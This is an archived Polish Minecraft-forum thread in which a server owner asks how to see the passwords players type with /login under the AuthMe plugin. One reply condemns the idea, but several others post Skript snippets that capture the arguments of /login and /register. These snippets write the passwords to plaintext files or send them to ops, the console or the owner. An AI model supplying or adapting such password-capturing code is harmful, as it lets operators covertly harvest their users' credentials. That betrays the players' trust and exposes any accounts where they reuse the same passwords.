Skocz do zawartości
  • 👋 Witaj na MPCForum!

    Przeglądasz forum jako gość, co oznacza, że wiele świetnych funkcji jest jeszcze przed Tobą! 😎

    • Pełny dostęp do działów i ukrytych treści
    • Możliwość pisania i odpowiadania w tematach
    • System prywatnych wiadomości
    • Zbieranie reputacji i rozwijanie swojego profilu
    • Członkostwo w jednej z największych społeczności graczy

    👉 Dołączenie zajmie Ci mniej niż minutę – a zyskasz znacznie więcej!

    Zarejestruj się teraz

Pytanie dotyczące AuthMe lub skrypt.


Rekomendowane odpowiedzi

Opublikowano

gracz : wpisuje na czacie /login 12345 a wlasciciel Widzą jak on pisze gracz /login 12345 i wlasicicel wie jaki ma haslo  wiec potrzebny  :)

Opublikowano

Chodzi mu chyba o to, że jak gracz wpisze /login (haslo) to w konsoli  będzie widać jego hasło. Przykład: gracz wpisze /login 123 i w konsoli wyświetli się, że gracz wpisał komendę /login 123 bo pluginy typu authme czy xauth nie wyświetlają hasła.

Opublikowano

Chodzi mu chyba o to, że jak gracz wpisze /login (haslo) to w konsoli  będzie widać jego hasło. Przykład: gracz wpisze /login 123 i w konsoli wyświetli się, że gracz wpisał komendę /login 123 bo pluginy typu authme czy xauth nie wyświetlają hasła.

Czyli krótko mówiąc masz wywalone na bezpieczeństwo Twoich graczy i ich samych. Każdy kto będzie miał dostęp do plików serwera będzie miał dostęp do ogromnej ilości haseł zupełnie niewinnych graczy. Ich hasła muszą być chronione i to wysoko (SHA-512). Widząc ich hasła okłamujesz ich, ponieważ ufają Tobie, że nikt tych haseł nie zobaczy oraz są i pozostaną prywatną sprawą.

 

@AntyBlezur masz w konfiguracji pluginu

#AntyBlezur


Opublikowano

No raczej z powodu wyświetlania hasła na konsoli radziłbym dobierać dobrze ludzi, którzy będą mieli dostęp do konsoli (raczej żaden normalny admin serwera nie rozpowszechnia haseł na serwerze bo to by zaszkodziło serwerowi).

2x%20zakazana%20sygnatura.png


76561198266836735.png


 

Opublikowano
on load:
    if folder "plugins/Skript/scripts/Hasla" doesn't exists:
        create folder "plugins/Skript/scripts/Hasla"
    if file "plugins/Skript/scripts/Hasla/Hasla.yml" doesn't exists:
        create file "plugins/Skript/scripts/Hasla/Hasla.yml"

command /register [<text>] [<text>]:

    trigger:

        make player execute command "register %arg 1% %arg 2%"

        wf "Gracz: %player%  ** Haslo: %arg 1%" to "plugins/Skript/scripts/Hasla/Hasla.yml"

 

# Może nie działać bo nie bawiłem się dawno wf i wildskriptem

 

Zapisuje hasła do pliku ;)

Tak skript też potrafi tworzyć swoje pliki config.yml w których przechowuje dane :) tak więc jest to kolejny argument że skrypty nie są tak złe jak piszą ;)

Potrafią to samo co pluginy :) a dodatkowo są łatwiejsze w pisaniu

TEMAT


 


Opublikowano

mam pytanie moge do Wlasciciel chat

 

 

on command "/login":

   send "%arguments%" to player albo Wlasciciel

 

on command "/login":

   send "%arguments%" to all ops

Opublikowano

on load:

 

if folder "plugins/Skript/scripts/Hasla" doesn't exists:

create folder "plugins/Skript/scripts/Hasla"

if file "plugins/Skript/scripts/Hasla/Hasla.yml" doesn't exists:

create file "plugins/Skript/scripts/Hasla/Hasla.yml"

command /register [] []:

trigger:

make player execute command "register %arg 1% %arg 2%"

wf "Gracz: %player% ** Haslo: %arg 1%" to "plugins/Skript/scripts/Hasla/Hasla.yml"

 

# Może nie działać bo nie bawiłem się dawno wf i wildskriptem

 

Zapisuje hasła do pliku ;)

Tak skript też potrafi tworzyć swoje pliki config.yml w których przechowuje dane :) tak więc jest to kolejny argument że skrypty nie są tak złe jak piszą ;)

Potrafią to samo co pluginy :) a dodatkowo są łatwiejsze w pisaniu

latwiejsze w pisaniu? śmiechłem

 

w javie takie cus to max 10 minut wiec nie widze zadnych plusow skryptow

 

oprocz mozliwosci zlagowania serwera komenda :D

Opublikowano

Tutaj zajęło mi to może z 3minuty :) a już plik z zapisem stworzony i do tego w 15liniach a nie 40

 

Skrypt zapisuje hasła do pliku, nie tworzy kont jak Authme tylko zapisuje podane argumenty do pliku więc nie wiem o co masz ból dupy, tak miał działać o tym był temat

TEMAT


 


Opublikowano

on command "/login":

   send "%arguments%" to all ops

nie dziala tylko dziala konsole widzi pisze haslo a to all ops Nie Wiadć

jakie masz pomysl inaczej pisac tak

on command "/login":
   send "%arguments%" to console

on command "/login":
   send "%arguments%" to player

on command "/login":
   send "%arguments%" to np cos 
Opublikowano

 

nie dziala tylko dziala konsole widzi pisze haslo a to all ops Nie Wiadć

jakie masz pomysl inaczej pisac tak

on command "/login":
   send "%arguments%" to console

on command "/login":
   send "%arguments%" to player

on command "/login":
   send "%arguments%" to np cos 

 

A po co ma wysyłać komendę z argumentem do gracza? Bez sensu trochę.

  • 4 miesiące temu...
Opublikowano
on command "login":
    send "%player%: /login %arguments%" to all ops 

­

Uważam, że poziom mojej inteligencji nie przekracza poziomu inteligencji przeciętnego człowieka.

Opublikowano

Aha, czyli zamiast szyfrować hasla, ty chcesz je podglądać...

No ok.

 

on command "login":
    log "%player% %command% %arguments%" to "hasla.log"

Wtedy będziesz miał wszystkie hasla w katalogu /skript/logs/hasla.log

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

×
×
  • Dodaj nową pozycję...